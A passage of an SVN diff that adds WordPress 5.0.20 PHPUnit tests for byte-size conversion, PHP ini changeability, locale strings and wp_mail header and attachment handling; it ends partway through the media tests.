+++ /tags/5.0.20/tests/phpunit/tests/load/convertHrToBytes.php	(revision 56912)
@@ -0,0 +1,66 @@
+<?php
+
+/**
+ * Tests for wp_convert_hr_to_bytes().
+ *
+ * @group load.php
+ */
+class Tests_Functions_Convert_Hr_To_Bytes extends WP_UnitTestCase {
+	/**
+	 * Tests converting (PHP ini) byte values to integer byte values.
+	 *
+	 * @ticket 32075
+	 *
+	 * @dataProvider data_wp_convert_hr_to_bytes
+	 *
+	 * @param int|string $value    The value passed to wp_convert_hr_to_bytes().
+	 * @param int        $expected The expected output of wp_convert_hr_to_bytes().
+	 */
+	function test_wp_convert_hr_to_bytes( $value, $expected ) {
+		$this->assertSame( $expected, wp_convert_hr_to_bytes( $value ) );
+	}
+
+	/**
+	 * Data provider for test_wp_convert_hr_to_bytes().
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type int|string $value    The value passed to wp_convert_hr_to_bytes().
+	 *         @type int        $expected The expected output of wp_convert_hr_to_bytes().
+	 *     }
+	 * }
+	 */
+	function data_wp_convert_hr_to_bytes() {
+		$array = array(
+			// Integer input.
+			array( -1, -1 ), // = no memory limit.
+			array( 8388608, 8388608 ), // 8M.
+
+			// String input (memory limit shorthand values).
+			array( '32k', 32768 ),
+			array( '64K', 65536 ),
+			array( '128m', 134217728 ),
+			array( '256M', 268435456 ),
+			array( '1g', 1073741824 ),
+			array( '128m ', 134217728 ), // Leading/trailing whitespace gets trimmed.
+			array( '1024', 1024 ), // No letter will be interpreted as integer value.
+
+			// Edge cases.
+			array( 'g', 0 ),
+			array( 'g1', 0 ),
+			array( 'null', 0 ),
+			array( 'off', 0 ),
+		);
+
+		// Test for running into maximum integer size limit on 32bit systems.
+		if ( 2147483647 === PHP_INT_MAX ) {
+			$array[] = array( '2G', 2147483647 );
+			$array[] = array( '4G', 2147483647 );
+		} else {
+			$array[] = array( '2G', 2147483648 );
+			$array[] = array( '4G', 4294967296 );
+		}
+
+		return $array;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/load/isIniValueChangeable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/load/isIniValueChangeable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/load/isIniValueChangeable.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Tests for wp_is_ini_value_changeable().
+ *
+ * @group load.php
+ */
+class Tests_Functions_Is_Ini_Value_Changeable extends WP_UnitTestCase {
+
+	/**
+	 * Tests the determining of the changeability of a PHP ini value.
+	 *
+	 * @ticket 32075
+	 *
+	 * @dataProvider data_wp_is_ini_value_changeable
+	 *
+	 * @param string $setting  The setting passed to wp_is_ini_value_changeable().
+	 * @param bool   $expected The expected output of wp_convert_hr_to_bytes().
+	 */
+	function test_wp_is_ini_value_changeable( $setting, $expected ) {
+		$this->assertSame( $expected, wp_is_ini_value_changeable( $setting ) );
+	}
+
+	/**
+	 * Data provider for test_wp_is_ini_value_changeable().
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type string $setting  The setting passed to wp_is_ini_value_changeable().
+	 *         @type bool   $expected The expected output of wp_convert_hr_to_bytes().
+	 *     }
+	 * }
+	 */
+	function data_wp_is_ini_value_changeable() {
+		$array = array(
+			array( 'memory_limit', true ), // PHP_INI_ALL.
+			array( 'log_errors', true ), // PHP_INI_ALL.
+			array( 'upload_max_filesize', false ), // PHP_INI_PERDIR.
+			array( 'upload_tmp_dir', false ), // PHP_INI_SYSTEM.
+		);
+
+		if ( extension_loaded( 'Tidy' ) && version_compare( PHP_VERSION, '7.0.0', '>' ) ) {
+			$array[] = array( 'tidy.clean_output', true ); // PHP_INI_USER.
+		}
+
+		return $array;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/locale.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/locale.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/locale.php	(revision 56912)
@@ -0,0 +1,117 @@
+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_Locale extends WP_UnitTestCase {
+	/**
+	 * @var WP_Locale
+	 */
+	protected $locale;
+
+	public function setUp() {
+		$this->locale = new WP_Locale();
+	}
+
+	public function test_rtl_src_admin_notice() {
+		$this->expectOutputRegex( '#<div class="error"><p>.*</p></div>#' );
+		$this->locale->rtl_src_admin_notice();
+	}
+
+	public function test_get_weekday() {
+		$this->assertEquals( __( 'Sunday' ),    $this->locale->get_weekday( 0 ) );
+		$this->assertEquals( __( 'Monday' ),    $this->locale->get_weekday( 1 ) );
+		$this->assertEquals( __( 'Tuesday' ),   $this->locale->get_weekday( 2 ) );
+		$this->assertEquals( __( 'Wednesday' ), $this->locale->get_weekday( 3 ) );
+		$this->assertEquals( __( 'Thursday' ),  $this->locale->get_weekday( 4 ) );
+		$this->assertEquals( __( 'Friday' ),    $this->locale->get_weekday( 5 ) );
+		$this->assertEquals( __( 'Saturday' ),  $this->locale->get_weekday( 6 ) );
+	}
+
+	/**
+	 * @expectedException PHPUnit_Framework_Error_Notice
+	 */
+	public function test_get_weekday_undefined_index() {
+		$this->locale->get_weekday( 7 );
+	}
+
+	public function test_get_weekday_initial() {
+		$this->assertEquals( __( 'S' ), $this->locale->get_weekday_initial( __( 'Sunday' ) ) );
+		$this->assertEquals( __( 'M' ), $this->locale->get_weekday_initial( __( 'Monday' ) ) );
+		$this->assertEquals( __( 'T' ), $this->locale->get_weekday_initial( __( 'Tuesday' ) ) );
+		$this->assertEquals( __( 'W' ), $this->locale->get_weekday_initial( __( 'Wednesday' ) ) );
+		$this->assertEquals( __( 'T' ), $this->locale->get_weekday_initial( __( 'Thursday' ) ) );
+		$this->assertEquals( __( 'F' ), $this->locale->get_weekday_initial( __( 'Friday' ) ) );
+		$this->assertEquals( __( 'S' ), $this->locale->get_weekday_initial( __( 'Saturday' ) ) );
+	}
+
+	public function test_get_weekday_abbrev() {
+		$this->assertEquals( __( 'Sun' ), $this->locale->get_weekday_abbrev( __( 'Sunday' ) ) );
+		$this->assertEquals( __( 'Mon' ), $this->locale->get_weekday_abbrev( __( 'Monday' ) ) );
+		$this->assertEquals( __( 'Tue' ), $this->locale->get_weekday_abbrev( __( 'Tuesday' ) ) );
+		$this->assertEquals( __( 'Wed' ), $this->locale->get_weekday_abbrev( __( 'Wednesday' ) ) );
+		$this->assertEquals( __( 'Thu' ), $this->locale->get_weekday_abbrev( __( 'Thursday' ) ) );
+		$this->assertEquals( __( 'Fri' ), $this->locale->get_weekday_abbrev( __( 'Friday' ) ) );
+		$this->assertEquals( __( 'Sat' ), $this->locale->get_weekday_abbrev( __( 'Saturday' ) ) );
+	}
+
+	public function test_get_month() {
+		$this->assertEquals( __( 'January' ),   $this->locale->get_month( 1 ) );
+		$this->assertEquals( __( 'February' ),  $this->locale->get_month( 2 ) );
+		$this->assertEquals( __( 'March' ),     $this->locale->get_month( 3 ) );
+		$this->assertEquals( __( 'April' ),     $this->locale->get_month( 4 ) );
+		$this->assertEquals( __( 'May' ),       $this->locale->get_month( 5 ) );
+		$this->assertEquals( __( 'June' ),      $this->locale->get_month( 6 ) );
+		$this->assertEquals( __( 'July' ),      $this->locale->get_month( 7 ) );
+		$this->assertEquals( __( 'August' ),    $this->locale->get_month( 8 ) );
+		$this->assertEquals( __( 'September' ), $this->locale->get_month( 9 ) );
+		$this->assertEquals( __( 'October' ),   $this->locale->get_month( 10 ) );
+		$this->assertEquals( __( 'November' ),  $this->locale->get_month( 11 ) );
+		$this->assertEquals( __( 'December' ),  $this->locale->get_month( 12 ) );
+	}
+
+	public function test_get_month_leading_zero() {
+		$this->assertEquals( __( 'January' ),   $this->locale->get_month( '01' ) );
+		$this->assertEquals( __( 'February' ),  $this->locale->get_month( '02' ) );
+		$this->assertEquals( __( 'March' ),     $this->locale->get_month( '03' ) );
+		$this->assertEquals( __( 'April' ),     $this->locale->get_month( '04' ) );
+		$this->assertEquals( __( 'May' ),       $this->locale->get_month( '05' ) );
+		$this->assertEquals( __( 'June' ),      $this->locale->get_month( '06' ) );
+		$this->assertEquals( __( 'July' ),      $this->locale->get_month( '07' ) );
+		$this->assertEquals( __( 'August' ),    $this->locale->get_month( '08' ) );
+		$this->assertEquals( __( 'September' ), $this->locale->get_month( '09' ) );
+	}
+
+	public function test_get_month_abbrev() {
+		$this->assertEquals( __( 'Jan' ), $this->locale->get_month_abbrev( __( 'January' ) ) );
+		$this->assertEquals( __( 'Feb' ), $this->locale->get_month_abbrev( __( 'February' ) ) );
+		$this->assertEquals( __( 'Mar' ), $this->locale->get_month_abbrev( __( 'March' ) ) );
+		$this->assertEquals( __( 'Apr' ), $this->locale->get_month_abbrev( __( 'April' ) ) );
+		$this->assertEquals( __( 'May' ), $this->locale->get_month_abbrev( __( 'May' ) ) );
+		$this->assertEquals( __( 'Jun' ), $this->locale->get_month_abbrev( __( 'June' ) ) );
+		$this->assertEquals( __( 'Jul' ), $this->locale->get_month_abbrev( __( 'July' ) ) );
+		$this->assertEquals( __( 'Aug' ), $this->locale->get_month_abbrev( __( 'August' ) ) );
+		$this->assertEquals( __( 'Sep' ), $this->locale->get_month_abbrev( __( 'September' ) ) );
+		$this->assertEquals( __( 'Oct' ), $this->locale->get_month_abbrev( __( 'October' ) ) );
+		$this->assertEquals( __( 'Nov' ), $this->locale->get_month_abbrev( __( 'November' ) ) );
+		$this->assertEquals( __( 'Dec' ), $this->locale->get_month_abbrev( __( 'December' ) ) );
+	}
+
+	public function test_get_meridiem() {
+		$this->assertEquals( __( 'am' ), $this->locale->get_meridiem( 'am' ) );
+		$this->assertEquals( __( 'AM' ), $this->locale->get_meridiem( 'AM' ) );
+		$this->assertEquals( __( 'pm' ), $this->locale->get_meridiem( 'pm' ) );
+		$this->assertEquals( __( 'PM' ), $this->locale->get_meridiem( 'PM' ) );
+	}
+
+	public function test_is_rtl() {
+		$this->assertFalse( $this->locale->is_rtl() );
+		$this->locale->text_direction = 'foo';
+		$this->assertFalse( $this->locale->is_rtl() );
+		$this->locale->text_direction = 'rtl';
+		$this->assertTrue( $this->locale->is_rtl() );
+		$this->locale->text_direction = 'ltr';
+		$this->assertFalse( $this->locale->is_rtl() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/mail.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/mail.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/mail.php	(revision 56912)
@@ -0,0 +1,395 @@
+<?php
+/**
+ * @group pluggable
+ * @group mail
+ */
+class Tests_Mail extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		reset_phpmailer_instance();
+	}
+
+	function tearDown() {
+		reset_phpmailer_instance();
+		parent::tearDown();
+	}
+
+	/**
+	 * Send a mail with a 1000 char long line.
+	 *
+	 * `PHPMailer::createBody()` will set `$this->Encoding = 'quoted-printable'` (away from its default of 8bit)
+	 * when it encounters a line longer than 999 characters. But PHPMailer doesn't clean up after itself / presets
+	 * all variables, which means that following tests would fail. To solve this issue we set `$this->Encoding`
+	 * back to 8bit in `MockPHPMailer::preSend`.
+	 *
+	 */
+	function test_wp_mail_break_it() {
+		$content = str_repeat( 'A', 1000 );
+		$this->assertTrue( wp_mail( WP_TESTS_EMAIL, 'Looong line testing', $content ) );
+	}
+
+	function test_wp_mail_custom_boundaries() {
+		$to = 'user@example.com';
+		$subject = 'Test email with custom boundaries';
+		$headers  = '' . "\n";
+		$headers .= 'MIME-Version: 1.0' . "\n";
+		$headers .= 'Content-Type: multipart/mixed; boundary="----=_Part_4892_25692638.1192452070893"' . "\n";
+		$headers .= "\n";
+		$body  = "\n";
+		$body .= '------=_Part_4892_25692638.1192452070893' . "\n";
+		$body .= 'Content-Type: text/plain; charset=ISO-8859-1' . "\n";
+		$body .= 'Content-Transfer-Encoding: 7bit' . "\n";
+		$body .= 'Content-Disposition: inline' . "\n";
+		$body .= "\n";
+		$body .= 'Here is a message with an attachment of a binary file.' . "\n";
+		$body .= "\n";
+		$body .= '------=_Part_4892_25692638.1192452070893' . "\n";
+		$body .= 'Content-Type: image/x-icon; name=favicon.ico' . "\n";
+		$body .= 'Content-Transfer-Encoding: base64' . "\n";
+		$body .= 'Content-Disposition: attachment; filename=favicon.ico' . "\n";
+		$body .= "\n";
+		$body .= 'AAABAAEAEBAAAAAAAABoBQAAFgAAACgAAAAQAAAAIAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA' . "\n";
+		$body .= '/wD/AP//AAD///8A//3/AP39/wD6/f8A+P3/AP/8/wD9/P8A+vz/AP/7/wD/+v8A/vr/APz6/wD4' . "\n";
+		$body .= '+v8A+/n/APP5/wD/+P8A+vj/AO/4/wDm+P8A2fj/AP/3/wD/9v8A9vb/AP/1/wD69f8A9PT/AO30' . "\n";
+		$body .= '/wD/8/8A//L/APnx/wD28P8A///+APj//gD2//4A9P/+AOP//gD//f4A6f/9AP///AD2//wA8//8' . "\n";
+		$body .= 'APf9/AD///sA/v/7AOD/+wD/+vsA9/X7APr/+gDv/voA///5AP/9+QD/+/kA+e35AP//+ADm//gA' . "\n";
+		$body .= '4f/4AP/9+AD0+/gA///3APv/9wDz//cA8f/3AO3/9wD/8fcA//32AP369gDr+vYA8f/1AOv/9QD/' . "\n";
+		$body .= '+/UA///0APP/9ADq//QA///zAP/18wD///IA/fzyAP//8QD///AA9//wAPjw8AD//+8A8//vAP//' . "\n";
+		$body .= '7gD9/+4A9v/uAP/u7gD//+0A9v/tAP7/6wD/+eoA///pAP//6AD2/+gA//nnAP/45wD38eYA/fbl' . "\n";
+		$body .= 'AP/25AD29uQA7N/hAPzm4AD/690AEhjdAAAa3AAaJdsA//LXAC8g1gANH9YA+dnTAP/n0gDh5dIA' . "\n";
+		$body .= 'DyjSABkk0gAdH9EABxDRAP/l0AAAJs4AGRTOAPPczQAAKs0AIi7MAA4UywD56soA8tPKANTSygD/' . "\n";
+		$body .= '18kA6NLHAAAjxwDj28QA/s7CAP/1wQDw3r8A/9e8APrSrwDCtqoAzamjANmPiQDQj4YA35mBAOme' . "\n";
+		$body .= 'fgDHj3wA1qR6AO+sbwDpmm8A2IVlAKmEYgCvaFoAvHNXAEq2VgA5s1UAPbhQAFWtTwBStU0ARbNN' . "\n";
+		$body .= 'AEGxTQA7tEwAObZIAEq5RwDKdEYAULhDANtuQgBEtTwA1ls3ALhgMQCxNzEA2FsvAEC3LQB0MCkA' . "\n";
+		$body .= 'iyYoANZTJwDLWyYAtjMlALE6JACZNSMAuW4iANlgIgDoWCEAylwgAMUuIAD3Vh8A52gdALRCHQCx' . "\n";
+		$body .= 'WhwAsEkcALU4HACMOBwA0V4bAMYyGgCPJRoA218ZAJM7FwC/PxYA0msVAM9jFQD2XBUAqioVAIAf' . "\n";
+		$body .= 'FQDhYRQAujMTAMUxEwCgLBMAnxIPAMsqDgCkFgsA6GMHALE2BAC9JQAAliIAAFYTAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/' . "\n";
+		$body .= '//8AsbGxsbGxsbGxsbGxsbGxd7IrMg8PDw8PDw8PUBQeJXjQYE9PcKPM2NfP2sWhcg+BzTE7dLjb' . "\n";
+		$body .= 'mG03YWaV4JYye8MPbsLZlEouKRRCg9SXMoW/U53enGRAFzCRtNO7mTiAyliw30gRTg9VbJCKfYs0' . "\n";
+		$body .= 'j9VmuscfLTFbIy8SOhA0Inq5Y77GNBMYIxQUJzM2Vxx2wEmfyCYWMRldXCg5MU0aicRUms58SUVe' . "\n";
+		$body .= 'RkwjPBRSNIfBMkSgvWkyPxVHFIaMSx1/0S9nkq7WdWo1a43Jt2UqgtJERGJ5m6K8y92znpNWIYS1' . "\n";
+		$body .= 'UQ89Mmg5cXNaX0EkGyyI3KSsp6mvpaqosaatq7axsQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+		$body .= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' . "\n";
+		$body .= '------=_Part_4892_25692638.1192452070893--' . "\n";
+		$body .= "\n";
+
+		wp_mail( $to, $subject, $body, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+
+		// We need some better assertions here but these catch the failure for now.
+		$this->assertEquals( $body, $mailer->get_sent()->body );
+		$this->assertTrue( strpos( $mailer->get_sent()->header, 'boundary="----=_Part_4892_25692638.1192452070893"' ) > 0 );
+		$this->assertTrue( strpos( $mailer->get_sent()->header, 'charset=' ) > 0 );
+	}
+
+	/**
+	 * @ticket 17305
+	 */
+	function test_wp_mail_rfc2822_addresses() {
+		$to        = 'Name <address@tld.com>';
+		$from      = 'Another Name <another_address@different-tld.com>';
+		$cc        = 'The Carbon Guy <cc@cc.com>';
+		$bcc       = 'The Blind Carbon Guy <bcc@bcc.com>';
+		$subject   = 'RFC2822 Testing';
+		$message   = 'My RFC822 Test Message';
+		$headers[] = "From: {$from}";
+		$headers[] = "CC: {$cc}";
+		$headers[] = "BCC: {$bcc}";
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		// WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer
+		// Earlier versions of PHPMailer were not touchy about the formatting of these arguments.
+
+		//retrieve the mailer instance
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertEquals( 'address@tld.com',      $mailer->get_recipient( 'to' )->address );
+		$this->assertEquals( 'Name',                 $mailer->get_recipient( 'to' )->name );
+		$this->assertEquals( 'cc@cc.com',            $mailer->get_recipient( 'cc' )->address );
+		$this->assertEquals( 'The Carbon Guy',       $mailer->get_recipient( 'cc' )->name );
+		$this->assertEquals( 'bcc@bcc.com',          $mailer->get_recipient( 'bcc' )->address );
+		$this->assertEquals( 'The Blind Carbon Guy', $mailer->get_recipient( 'bcc' )->name );
+		$this->assertEquals( $message . "\n",        $mailer->get_sent()->body );
+	}
+
+	/**
+	 * @ticket 17305
+	 */
+	function test_wp_mail_multiple_rfc2822_to_addresses() {
+		$to      = 'Name <address@tld.com>, Another Name <another_address@different-tld.com>';
+		$subject = 'RFC2822 Testing';
+		$message = 'My RFC822 Test Message';
+
+		wp_mail( $to, $subject, $message );
+
+		// WordPress 3.2 and later correctly split the address into the two parts and send them seperately to PHPMailer
+		// Earlier versions of PHPMailer were not touchy about the formatting of these arguments.
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertEquals( 'address@tld.com',                   $mailer->get_recipient( 'to' )->address );
+		$this->assertEquals( 'Name',                              $mailer->get_recipient( 'to' )->name );
+		$this->assertEquals( 'another_address@different-tld.com', $mailer->get_recipient( 'to', 0, 1 )->address );
+		$this->assertEquals( 'Another Name',                      $mailer->get_recipient( 'to', 0, 1 )->name );
+		$this->assertEquals( $message . "\n",                     $mailer->get_sent()->body );
+	}
+
+	function test_wp_mail_multiple_to_addresses() {
+		$to      = 'address@tld.com, another_address@different-tld.com';
+		$subject = 'RFC2822 Testing';
+		$message = 'My RFC822 Test Message';
+
+		wp_mail( $to, $subject, $message );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertEquals( 'address@tld.com',                   $mailer->get_recipient( 'to' )->address );
+		$this->assertEquals( 'another_address@different-tld.com', $mailer->get_recipient( 'to', 0, 1 )->address );
+		$this->assertEquals( $message . "\n",                     $mailer->get_sent()->body );
+	}
+
+	/**
+	 * @ticket 18463
+	 */
+	function test_wp_mail_to_address_no_name() {
+		$to      = '<address@tld.com>';
+		$subject = 'RFC2822 Testing';
+		$message = 'My RFC822 Test Message';
+
+		wp_mail( $to, $subject, $message );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertEquals( 'address@tld.com', $mailer->get_recipient( 'to' )->address );
+		$this->assertEquals( $message . "\n",    $mailer->get_sent()->body );
+	}
+
+	/**
+	 * @ticket 23642
+	 */
+	function test_wp_mail_return_value() {
+		// No errors
+		$this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body' ) );
+
+		// Non-fatal errors
+		$this->assertTrue( wp_mail( 'valid@address.com', 'subject', 'body', "Cc: invalid-address\nBcc: @invalid.address", ABSPATH . '/non-existant-file.html' ) );
+
+		// Fatal errors
+		$this->assertFalse( wp_mail( 'invalid.address', 'subject', 'body', '', array() ) );
+	}
+
+	/**
+	 * @ticket 30266
+	 */
+	public function test_wp_mail_with_valid_from_header() {
+		$to       = 'address@tld.com';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+		$headers  = 'From: Foo <bar@example.com>';
+		$expected = 'From: Foo <bar@example.com>';
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertTrue( strpos( $mailer->get_sent()->header, $expected ) > 0 );
+	}
+
+	/**
+	 * @ticket 30266
+	 */
+	public function test_wp_mail_with_empty_from_header() {
+		$to       = 'address@tld.com';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+		$headers  = 'From: ';
+		$expected = 'From: WordPress <wordpress@' . WP_TESTS_DOMAIN . '>';
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertTrue( strpos( $mailer->get_sent()->header, $expected ) > 0 );
+	}
+
+	/**
+	 * @ticket 30266
+	 */
+	public function test_wp_mail_with_empty_from_name_for_the_from_header() {
+		$to       = 'address@tld.com';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+		$headers  = 'From: <wordpress@example.com>';
+		$expected = 'From: WordPress <wordpress@example.com>';
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertTrue( strpos( $mailer->get_sent()->header, $expected ) > 0 );
+	}
+
+	/**
+	 * @ticket 30266
+	 */
+	public function test_wp_mail_with_valid_content_type_header() {
+		$to       = 'address@tld.com';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+		$headers  = 'Content-Type: text/html; charset=iso-8859-1';
+		$expected = 'Content-Type: text/html; charset=iso-8859-1';
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertTrue( strpos( $mailer->get_sent()->header, $expected ) > 0 );
+	}
+
+	/**
+	 * @ticket 30266
+	 */
+	public function test_wp_mail_with_empty_content_type_header() {
+		$to       = 'address@tld.com';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+		$headers  = 'Content-Type: ';
+		$expected = 'Content-Type: text/plain; charset=UTF-8';
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertTrue( strpos( $mailer->get_sent()->header, $expected ) > 0 );
+	}
+
+	/**
+	 * @ticket 30266
+	 */
+	public function test_wp_mail_with_empty_charset_for_the_content_type_header() {
+		$to       = 'address@tld.com';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+		$headers  = 'Content-Type: text/plain;';
+		$expected = 'Content-Type: text/plain; charset=UTF-8';
+
+		wp_mail( $to, $subject, $message, $headers );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+		$this->assertTrue( strpos( $mailer->get_sent()->header, $expected ) > 0 );
+	}
+
+	function wp_mail_quoted_printable( $mailer ) {
+		$mailer->Encoding = 'quoted-printable';
+	}
+
+	function wp_mail_set_text_message( $mailer ) {
+		$mailer->AltBody = 'Wörld';
+	}
+
+	/**
+	 * > If an entity is of type "multipart" the Content-Transfer-Encoding is
+	 * > not permitted to have any value other than "7bit", "8bit" or
+	 * > "binary".
+	 * https://tools.ietf.org/html/rfc2045#section-6.4
+	 *
+	 * > "Content-Transfer-Encoding: 7BIT" is assumed if the
+	 * > Content-Transfer-Encoding header field is not present.
+	 * https://tools.ietf.org/html/rfc2045#section-6.1
+	 *
+	 * @ticket 28039
+	 */
+	function test_wp_mail_content_transfer_encoding_in_quoted_printable_multipart() {
+		add_action( 'phpmailer_init', array( $this, 'wp_mail_quoted_printable' ) );
+		add_action( 'phpmailer_init', array( $this, 'wp_mail_set_text_message' ) );
+
+		wp_mail(
+			'user@example.com',
+			'Hello',
+			'<p><strong>Wörld</strong></p>',
+			'Content-Type: text/html'
+		);
+
+		$this->assertNotContains( 'quoted-printable', $GLOBALS['phpmailer']->mock_sent[0]['header'] );
+	}
+
+	/**
+	 * @ticket 21659
+	 */
+	public function test_wp_mail_addresses_arent_encoded() {
+		$to      = 'Lukáš To <to@example.org>';
+		$subject = 'Testing #21659';
+		$message = 'Only the name should be encoded, not the address.';
+
+		$headers = array(
+			'From'     => 'From: Lukáš From <from@example.org>',
+			'Cc'       => 'Cc: Lukáš CC <cc@example.org>',
+			'Bcc'      => 'Bcc: Lukáš BCC <bcc@example.org>',
+			'Reply-To' => 'Reply-To: Lukáš Reply-To <reply_to@example.org>',
+		);
+
+		$expected = array(
+			'To'       => 'To: =?UTF-8?B?THVrw6HFoSBUbw==?= <to@example.org>',
+			'From'     => 'From: =?UTF-8?Q?Luk=C3=A1=C5=A1_From?= <from@example.org>',
+			'Cc'       => 'Cc: =?UTF-8?B?THVrw6HFoSBDQw==?= <cc@example.org>',
+			'Bcc'      => 'Bcc: =?UTF-8?B?THVrw6HFoSBCQ0M=?= <bcc@example.org>',
+			'Reply-To' => 'Reply-To: =?UTF-8?Q?Luk=C3=A1=C5=A1_Reply-To?= <reply_to@example.org>',
+		);
+
+		wp_mail( $to, $subject, $message, array_values( $headers ) );
+
+		$mailer        = tests_retrieve_phpmailer_instance();
+		$sent_headers  = preg_split( "/\r\n|\n|\r/", $mailer->get_sent()->header );
+		$headers['To'] = "To: $to";
+
+		foreach ( $headers as $header => $value ) {
+			$target_headers = preg_grep( "/^$header:/", $sent_headers );
+			$this->assertEquals( $expected[ $header ], array_pop( $target_headers ) );
+		}
+	}
+
+	/**
+	 * Test that the Sender field in the SMTP envelope is not set by Core.
+	 *
+	 * Correctly setting the Sender requires knowledge that is not available
+	 * to Core. An incorrect value will often lead to messages being rejected
+	 * by the receiving MTA, so it's the admin's responsibility to
+	 * set it correctly.
+	 *
+	 * @ticket 37736
+	 */
+	public function test_wp_mail_sender_not_set() {
+		wp_mail( 'user@example.org', 'Testing the Sender field', 'The Sender field should not have been set.' );
+
+		$mailer = tests_retrieve_phpmailer_instance();
+
+		$this->assertEquals( '', $mailer->Sender );
+	}
+
+	/**
+	 * @ticket 35598
+	 */
+	public function test_phpmailer_exception_thrown() {
+		$to       = 'an_invalid_address';
+		$subject  = 'Testing';
+		$message  = 'Test Message';
+
+		$ma = new MockAction();
+		add_action( 'wp_mail_failed', array( &$ma, 'action' ) );
+
+		wp_mail( $to, $subject, $message );
+
+		$this->assertEquals( 1, $ma->get_call_count() );
+
+		$expected_error_data = array(
+			'to'          => array( 'an_invalid_address' ),
+			'subject'     => 'Testing',
+			'message'     => 'Test Message',
+			'headers'     => array(),
+			'attachments' => array(),
+			'phpmailer_exception_code' => 2,
+		);
+
+		//Retrieve the arguments passed to the 'wp_mail_failed' hook callbacks
+		$all_args = $ma->get_args();
+		$call_args = array_pop( $all_args );
+
+		$this->assertEquals( 'wp_mail_failed', $call_args[0]->get_error_code() );
+		$this->assertEquals( $expected_error_data, $call_args[0]->get_error_data() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/media.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/media.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/media.php	(revision 56912)
@@ -0,0 +1,2335 @@
+<?php
+
+/**
+ * @group media
+ * @group shortcode
+ */
+class Tests_Media extends WP_UnitTestCase {
+	protected static $large_id;
+	protected static $_sizes;
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$_sizes = wp_get_additional_image_sizes();
+		$GLOBALS['_wp_additional_image_sizes'] = array();
+
+		$filename = DIR_TESTDATA . '/images/test-image-large.png';
+		self::$large_id = $factory->attachment->create_upload_object( $filename );
+	}
+
+	public static function wpTearDownAfterClass() {
+		$GLOBALS['_wp_additional_image_sizes'] = self::$_sizes;
+	}
+
+	public static function tearDownAfterClass() {
+		wp_delete_post( self::$large_id, true );
+		parent::tearDownAfterClass();
+	}
+
+	function setUp() {
+		parent::setUp();
+		$this->caption = 'A simple caption.';
+		$this->alternate_caption = 'Alternate caption.';
+		$this->html_content = <<<CAP
+A <strong class='classy'>bolded</strong> <em>caption</em> with a <a href="#">link</a>.
+CAP;
+		$this->img_content = <<<CAP
+<img src="pic.jpg" id='anId' alt="pic"/>
+CAP;
+		$this->img_name = 'image.jpg';
+		$this->img_url = 'http://' . WP_TESTS_DOMAIN . '/wp-content/uploads/' . $this->img_name;
+		$this->img_html = '<img src="' . $this->img_url . '"/>';
+		$this->img_meta = array( 'width' => 100, 'height' => 100, 'sizes' => '' );
+	}
+
+	function test_img_caption_shortcode_added() {
+		global $shortcode_tags;
+		$this->assertEquals( 'img_caption_shortcode', $shortcode_tags['caption'] );
+		$this->assertEquals( 'img_caption_shortcode', $shortcode_tags['wp_caption'] );
+	}
+
+	function test_img_caption_shortcode_with_empty_params() {
+		$result = img_caption_shortcode( array() );
+		$this->assertNull( $result );
+	}
+
+	/**
+	 * @ticket 33981
+	 */
+	function test_img_caption_shortcode_with_empty_params_but_content() {
+		$result = img_caption_shortcode( array(), $this->caption );
+		$this->assertEquals( $this->caption, $result );
+	}
+
+	/**
+	 * @ticket 33981
+	 */
